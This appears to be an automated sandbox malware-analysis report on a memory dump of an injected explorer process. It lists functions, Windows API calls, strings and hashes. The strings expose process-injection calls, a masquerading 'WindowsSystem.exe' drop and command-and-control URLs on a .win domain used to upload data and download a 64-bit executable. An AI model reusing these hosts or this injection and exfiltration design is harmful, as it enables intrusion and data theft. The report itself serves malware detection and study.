RtlCreateUserThread.NTDLL ref: 00E11071
WaitForSingleObject.KERNEL32 ref: 00E110C9
NtUnmapViewOfSection.NTDLL ref: 00E110F4
NtUnmapViewOfSection.NTDLL ref: 00E11107
NtUnmapViewOfSection.NTDLL ref: 00E1111A
NtUnmapViewOfSection.NTDLL ref: 00E11130
NtUnmapViewOfSection.NTDLL ref: 00E11146
NtUnmapViewOfSection.NTDLL ref: 00E1115C
NtClose.NTDLL ref: 00E1116A
NtClose.NTDLL ref: 00E11178
NtClose.NTDLL ref: 00E11186
CloseHandle.KERNEL32 ref: 00E11194
TerminateProcess.KERNEL32 ref: 00E111AD
CloseHandle.KERNEL32 ref: 00E111B8
CloseHandle.KERNEL32 ref: 00E111C3
CloseHandle.KERNEL32 ref: 00E111EB
NtUnmapViewOfSection.NTDLL ref: 00E11201
NtClose.NTDLL ref: 00E1120F
NtUnmapViewOfSection.NTDLL ref: 00E11225
NtClose.NTDLL ref: 00E11233
NtUnmapViewOfSection.NTDLL ref: 00E11249
NtClose.NTDLL ref: 00E11257
TerminateProcess.KERNEL32 ref: 00E1126B
CloseHandle.KERNEL32 ref: 00E11276
CloseHandle.KERNEL32 ref: 00E11281

Strings

LocalAlloc, xrefs: 00E10D54
NtUnmapViewOfSection, xrefs: 00E10895
h, xrefs: 00E10774
KERNEL32.DLL, xrefs: 00E10CDC
NTDLL.DLL, xrefs: 00E10829
MessageBoxW, xrefs: 00E10DEA
NtClose, xrefs: 00E108B2
VirtualProtect, xrefs: 00E10E08
VirtualFree, xrefs: 00E10DCC
Sleep, xrefs: 00E10D18
LoadLibraryA, xrefs: 00E10D36
@, xrefs: 00E10B12
CloseHandle, xrefs: 00E10DAE
NtCreateSection, xrefs: 00E1083E
USER32.DLL, xrefs: 00E10CFA
@, xrefs: 00E10BE2
LoadLibraryW, xrefs: 00E10C8F
KERNEL32.DLL, xrefs: 00E10C7A
NtMapViewOfSection, xrefs: 00E1085B
RtlCreateUserThread, xrefs: 00E10878
VirtualAlloc, xrefs: 00E10D72
LocalFree, xrefs: 00E10D90
GetProcAddress, xrefs: 00E10CAF

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Section$View$Close$lstrcpy$Unmap$AddressHandleProcProcess$Create$Current$Terminate$EventLibraryLoadModuleObjectSingleThreadUserWait
String ID: @$@$CloseHandle$GetProcAddress$KERNEL32.DLL$KERNEL32.DLL$LoadLibraryA$LoadLibraryW$LocalAlloc$LocalFree$MessageBoxW$NTDLL.DLL$NtClose$NtCreateSection$NtMapViewOfSection$NtUnmapViewOfSection$RtlCreateUserThread$Sleep$USER32.DLL$VirtualAlloc$VirtualFree$VirtualProtect$h
API String ID: 1065732154-2887914861
Opcode ID: b3db4daf76245d26ee7c37ddfd04114db5d7fc73b353293878a34707a5285217
Instruction ID: a47f91716bcdcf9dbd900e824a68c79eb69dcabf3577580a8268aa944c9d6a44
Opcode Fuzzy Hash: b3db4daf76245d26ee7c37ddfd04114db5d7fc73b353293878a34707a5285217
Instruction Fuzzy Hash: 3C528D76218BC086EB71DF15F8983DAB7A0F788794F501616DA8993B68DF7DC188CB40

Function 00E25D20 Relevance: 91.3, APIs: 48, Strings: 4, Instructions: 308
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventW.KERNEL32 ref: 00E25D3A
OpenMutexW.KERNEL32 ref: 00E25D71
CreateEventW.KERNEL32 ref: 00E25DFF
WaitForSingleObject.KERNEL32 ref: 00E25E69
CloseHandle.KERNEL32 ref: 00E26311
ReleaseMutex.KERNEL32 ref: 00E2632F
CloseHandle.KERNEL32 ref: 00E2633A
CloseHandle.KERNEL32 ref: 00E2634D
CloseHandle.KERNEL32 ref: 00E26358

Strings

{7E105FD4-6112-4FB9-A722-91E984087449}, xrefs: 00E25D63
{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 00E25D2C
{8E8A4502-77C1-498F-9A62-1CFFC74945A4}, xrefs: 00E26249
{EFC3ABD3-EC58-4FCB-B5F7-D01538741E91}, xrefs: 00E25DA7

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventMutexOpen$CreateObjectReleaseSingleWait
String ID: {7E105FD4-6112-4FB9-A722-91E984087449}${8E8A4502-77C1-498F-9A62-1CFFC74945A4}${DD700AA6-D197-4A4A-838A-B93EA96F236B}${EFC3ABD3-EC58-4FCB-B5F7-D01538741E91}
API String ID: 385723476-3844246474
Opcode ID: 3cfad946db56583bd56c67fe3a3e6adbf597aeab51e253aa603a430df7c46a88
Instruction ID: 58a60ad632336a13296f5c1c898e7bef204f918767355d97d612729f59886462
Opcode Fuzzy Hash: 3cfad946db56583bd56c67fe3a3e6adbf597aeab51e253aa603a430df7c46a88
Instruction Fuzzy Hash: 52F18631504AD0C6F724DF61F94835A73B1F7D4799F206A26D68AA2AB8CF7DC488CB01

Function 00E053B0 Relevance: 61.6, APIs: 25, Strings: 10, Instructions: 310
stringencryptionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32 ref: 00E053C7
lstrcpyW.KERNEL32 ref: 00E053F6
lstrcpyW.KERNEL32 ref: 00E05413
lstrcpyW.KERNEL32 ref: 00E05430
lstrcpyW.KERNEL32 ref: 00E0544D
lstrcpyW.KERNEL32 ref: 00E0546A
lstrcpyW.KERNEL32 ref: 00E05487
lstrcpyW.KERNEL32 ref: 00E054A4
CryptBinaryToStringW.CRYPT32 ref: 00E055E2
CryptBinaryToStringW.CRYPT32 ref: 00E0560D
LocalFree.KERNEL32 ref: 00E05A17
LocalFree.KERNEL32 ref: 00E05A2E
CloseHandle.KERNEL32 ref: 00E05A41
CloseHandle.KERNEL32 ref: 00E05A54

Strings

{7E105FD4-6112-4FB9-A722-91E984087449}, xrefs: 00E05409
{DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}, xrefs: 00E05863
{DD790A50-FBBA-44EC-A8E0-C3475C4234CA}, xrefs: 00E0549A
%s %s, xrefs: 00E05877
{B35D8F70-AFF8-4D2B-BFC7-10AF8714710B}, xrefs: 00E053E8
https://woo097878781.win/upload.php, xrefs: 00E0547D
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0, xrefs: 00E05443, 00E056FE
https://woo097878781.win/64.EXE, xrefs: 00E05723
{2CE5F8BD-0511-45BE-87AB-414E34221A74}, xrefs: 00E05426, 00E05890
HWID_%s, xrefs: 00E0564F

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcpy$Local$BinaryCloseCryptFreeHandleString$Alloc
String ID: %s %s$HWID_%s$Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0$https://woo097878781.win/64.EXE$https://woo097878781.win/upload.php${2CE5F8BD-0511-45BE-87AB-414E34221A74}${7E105FD4-6112-4FB9-A722-91E984087449}${B35D8F70-AFF8-4D2B-BFC7-10AF8714710B}${DD790A50-FBBA-44EC-A8E0-C3475C4234CA}${DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}
API String ID: 1616647813-822792202
Opcode ID: 8237cef07f34f6c1e30c066254d37a39d5b06242a3309f111f42f1e23e4de9d6
Instruction ID: 679589874cac64a5a0d2ee8df993dcabba28860d769f3351b8b4cbeba4391c28
Opcode Fuzzy Hash: 8237cef07f34f6c1e30c066254d37a39d5b06242a3309f111f42f1e23e4de9d6
Instruction Fuzzy Hash: AA027136204FC1C6E724CB14F99439A73A1F7A8788F406A26DA4DA37A4DF3EC594CB01

Function 00E04DA0 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 218
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32 ref: 00E04E23
CoTaskMemFree.COMBASE ref: 00E04E5D
GetTempPathW.KERNEL32 ref: 00E04E90
CreateDirectoryW.KERNEL32 ref: 00E04F15
GetLastError.KERNEL32 ref: 00E04F22
lstrcpyW.KERNEL32 ref: 00E04F5A
CreateFileW.KERNEL32 ref: 00E04FC0
GetLastError.KERNEL32 ref: 00E04FD9

Strings

%s\%s, xrefs: 00E04EF2
h, xrefs: 00E050F5
"%s" "%s", xrefs: 00E050BD
"%s", xrefs: 00E051BC
%s\%s, xrefs: 00E04F7B
Open, xrefs: 00E051F7

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CreateErrorLastPath$DirectoryFileFolderFreeKnownTaskTemplstrcpy
String ID: "%s"$"%s" "%s"$%s\%s$%s\%s$Open$h
API String ID: 1929679530-3531242659
Opcode ID: c057f54f722bcf2c844584758c207069bac51c29aa03ca2c9ff8dcd663dc8fb8
Instruction ID: 8edc563ed916e33d53d3e2cb75474c5a6c7e39d61d4e19a40e48ad0816b772c9
Opcode Fuzzy Hash: c057f54f722bcf2c844584758c207069bac51c29aa03ca2c9ff8dcd663dc8fb8
Instruction Fuzzy Hash: 8FB14872218BC486EB30DB64F55839BB3A1F788794F805626D68D93BA8DF3DC558CB40

Function 00E19CB0 Relevance: 35.3, APIs: 17, Strings: 3, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::rethrow_exception.LIBCMTD ref: 00E19D70
std::rethrow_exception.LIBCMTD ref: 00E19DF4

Strings

h, xrefs: 00E19EBE
GET, xrefs: 00E1A052
*/*, xrefs: 00E19CDD

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: std::rethrow_exception
String ID: */*$GET$h
API String ID: 1317400359-3109941101
Opcode ID: 706f8eab67db1428491878b4aef581ec6e6f376884b732e353feec605afe0311
Instruction ID: fe95a893dd72173f829b185808183df858a2ad4a94920c78aacf251201611ba9
Opcode Fuzzy Hash: 706f8eab67db1428491878b4aef581ec6e6f376884b732e353feec605afe0311
Instruction Fuzzy Hash: B502E072209AC486E774CB55F8943EEB3A0F3C9784F505126DB9993AA8DF7DC588CB00

Function 00E22210 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 132
threadnetworkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32 ref: 00E22220
CreateEventW.KERNEL32 ref: 00E22237
CreateThread.KERNEL32 ref: 00E2226D
LocalFree.KERNEL32 ref: 00E2228F
LocalFree.KERNEL32 ref: 00E22386
CreateEventW.KERNEL32 ref: 00E223D6
CreateThread.KERNEL32 ref: 00E2240C
CloseHandle.KERNEL32 ref: 00E2242C
WSAStartup.WS2_32 ref: 00E2243B
CreateThread.KERNEL32 ref: 00E2246D
CreateThread.KERNEL32 ref: 00E22499
WSACleanup.WS2_32 ref: 00E224B7

Strings

{34E50511-FBB8-42F8-98A2-2629192A03A0}, xrefs: 00E2236A
UNLOAD.TXT, xrefs: 00E22219
WindowsSystem, xrefs: 00E2235C
WindowsSystem.exe, xrefs: 00E2231B
"%s%s", xrefs: 00E2232F
WindowsSystem, xrefs: 00E22363

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Create$Thread$EventFreeLocal$CleanupCloseHandleStartuplstrlen
String ID: "%s%s"$UNLOAD.TXT$WindowsSystem$WindowsSystem$WindowsSystem.exe${34E50511-FBB8-42F8-98A2-2629192A03A0}
API String ID: 168511978-1681456302
Opcode ID: 16fe39ba53266679c6a7dea738d884dd69b85df6d687fb142a66e2484d54e1df
Instruction ID: 076b21d92ef2e47622b55f83372b520577d4d01939be105bdab80a05b0203f0f
Opcode Fuzzy Hash: 16fe39ba53266679c6a7dea738d884dd69b85df6d687fb142a66e2484d54e1df
Instruction Fuzzy Hash: 34614D31104BD1D2F728DB20FE5879A33A4F3A838DF505A2AD55967AA4CF7EC589CB00

Function 00E01000 Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E187C0: LoadLibraryW.KERNEL32 ref: 00E187D2

ExitProcess.KERNEL32 ref: 00E0104B
GetModuleFileNameW.KERNEL32 ref: 00E01076
ExitProcess.KERNEL32 ref: 00E01082

Strings

{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 00E010FB
{16875766-AD57-416F-8330-F0B6BCC3AFF1}, xrefs: 00E010AF
{8D32440A-6991-45E9-84BE-12C6B52AF58D}, xrefs: 00E01134

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: ExitProcess$FileLibraryLoadModuleName
String ID: {16875766-AD57-416F-8330-F0B6BCC3AFF1}${8D32440A-6991-45E9-84BE-12C6B52AF58D}${DD700AA6-D197-4A4A-838A-B93EA96F236B}
API String ID: 2450766465-2697939069
Opcode ID: 482fb3a350b31bacb31896883e192aa97b6bd53c2f9ebca60f0dcddbc31280cb
Instruction ID: 9019bb6acfd2252b5cadacf5b5dac99bf20475356b182f26ee8889f098fbf172
Opcode Fuzzy Hash: 482fb3a350b31bacb31896883e192aa97b6bd53c2f9ebca60f0dcddbc31280cb
Instruction Fuzzy Hash: 1A415270114BC086E738DB30FD5935E73A1FBA4785F505E2AD68AA66A4DF3EC588C740

Function 00E07EF0 Relevance: 25.2, APIs: 10, Strings: 4, Instructions: 708
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E17DA0: lstrlenW.KERNEL32 ref: 00E17DEC

CoInitializeEx.COMBASE ref: 00E07FFA
CoInitializeSecurity.COMBASE ref: 00E0804F
CoUninitialize.COMBASE ref: 00E08E02

Strings

d, xrefs: 00E07FA4
PT%dS, xrefs: 00E087CF
PT0S, xrefs: 00E08560
default, xrefs: 00E086F1

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Initialize$SecurityUninitializelstrlen
String ID: PT%dS$PT0S$d$default
API String ID: 1917595471-1758076759
Opcode ID: 4e90035ec76b44f55509a06cae46d70251e4bebeacf918fb3399efe7daf0ae58
Instruction ID: f374923ac95c483049660372fe32757451e57fb74ca43f085027c5b94e8e82d5
Opcode Fuzzy Hash: 4e90035ec76b44f55509a06cae46d70251e4bebeacf918fb3399efe7daf0ae58
Instruction Fuzzy Hash: 9782A236209FC4C6DA71DB15E8943DAB3A5F3C8B91F405126DA8D93B68DF39C689CB40

Function 00E1DAD0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 106encryptionsynchronizationCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00E1DB1E
CryptCreateHash.ADVAPI32 ref: 00E1DB47
WaitForSingleObject.KERNEL32 ref: 00E1DBB5
CryptHashData.ADVAPI32 ref: 00E1DBDF
CryptHashData.ADVAPI32 ref: 00E1DC1E
CryptReleaseContext.ADVAPI32 ref: 00E1DC7C
CryptReleaseContext.ADVAPI32 ref: 00E1DCA2
CryptDestroyHash.ADVAPI32 ref: 00E1DCB5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 00E1DB10

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$DataRelease$AcquireCreateDestroyObjectSingleWait
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 1452691613-63410773
Opcode ID: a49916f8dd68e5eae8b0ebcf852319b595e90230a14c1e63738e3af535b9c1ed
Instruction ID: 6333354a99b8cbd41ddcad6d807c245dce370f8973fa518da3aa62f6c470be9c
Opcode Fuzzy Hash: a49916f8dd68e5eae8b0ebcf852319b595e90230a14c1e63738e3af535b9c1ed
Instruction Fuzzy Hash: 69510B3261CA8083E754CF15F88479AB7A1F7D4784F506915F68A93A68CFBEC884CB40

Function 00E22286 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 101threadnetworkCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00E22386
CreateEventW.KERNEL32 ref: 00E223D6
CreateThread.KERNEL32 ref: 00E2240C
CloseHandle.KERNEL32 ref: 00E2242C
WSAStartup.WS2_32 ref: 00E2243B
CreateThread.KERNEL32 ref: 00E2246D
CreateThread.KERNEL32 ref: 00E22499

Part of subcall function 00E1DDC0: AllocateAndInitializeSid.ADVAPI32 ref: 00E1DE32
Part of subcall function 00E1DDC0: CheckTokenMembership.ADVAPI32 ref: 00E1DE4F
Part of subcall function 00E1DDC0: FreeSid.ADVAPI32 ref: 00E1DE66

WSACleanup.WS2_32 ref: 00E224B7

Part of subcall function 00E0F510: SHGetKnownFolderPath.SHELL32 ref: 00E0F587
Part of subcall function 00E0F510: lstrlenW.KERNEL32 ref: 00E0F59A
Part of subcall function 00E0F510: lstrlenW.KERNEL32 ref: 00E0F5B5
Part of subcall function 00E0F510: LocalAlloc.KERNEL32 ref: 00E0F5DC
Part of subcall function 00E0F510: lstrlenW.KERNEL32 ref: 00E0F620
Part of subcall function 00E0F510: CoTaskMemFree.COMBASE ref: 00E0F635

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

Part of subcall function 00E07EF0: CoInitializeEx.COMBASE ref: 00E07FFA

Strings

{34E50511-FBB8-42F8-98A2-2629192A03A0}, xrefs: 00E2236A
WindowsSystem, xrefs: 00E2235C
WindowsSystem.exe, xrefs: 00E2231B
"%s%s", xrefs: 00E2232F
WindowsSystem, xrefs: 00E22363

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FreeThreadlstrlen$InitializeLocal$AllocAllocateCheckCleanupCloseEventFolderHandleKnownMembershipPathStartupTaskToken_errno_invalid_parameter_noinfo
String ID: "%s%s"$WindowsSystem$WindowsSystem$WindowsSystem.exe${34E50511-FBB8-42F8-98A2-2629192A03A0}
API String ID: 2779143808-474631092
Opcode ID: 395866f993da45b9c750652c6559c33394b50d3bb72537e97a8bc5148c645c89
Instruction ID: daf89f6b2a87d8303da4a912b0628bf4f7edb3f67ebd197a01d0c1f507e311a6
Opcode Fuzzy Hash: 395866f993da45b9c750652c6559c33394b50d3bb72537e97a8bc5148c645c89
Instruction Fuzzy Hash: 13515D31104BD196E738EB20F95879A33A5F39838CF50592AD65977AA4DF7DC688CB00

Function 00E187C0 Relevance: 119.9, APIs: 51, Strings: 17, Instructions: 909libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00E187D2
GetProcAddress.KERNEL32 ref: 00E18868

Strings

USER32.DLL, xrefs: 00E18A43
SHELL32.DLL, xrefs: 00E18F27
WINMM.DLL, xrefs: 00E197C5
DBGHELP.DLL, xrefs: 00E198FB
OLE32.DLL, xrefs: 00E1905D
GDI32.DLL, xrefs: 00E18B79
SECUR32.DLL, xrefs: 00E19A31
NTDLL.DLL, xrefs: 00E187CB
WINHTTP.DLL, xrefs: 00E19193
WS2_32.DLL, xrefs: 00E1940B
ADVAPI32.DLL, xrefs: 00E18CAF
KERNEL32.DLL, xrefs: 00E1890D
MSI.DLL, xrefs: 00E19683
WTSAPI32.DLL, xrefs: 00E192D5
SHLWAPI.DLL, xrefs: 00E18DF1
GDIPLUS.DLL, xrefs: 00E1954D
CRYPT32.DLL, xrefs: 00E19B67

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
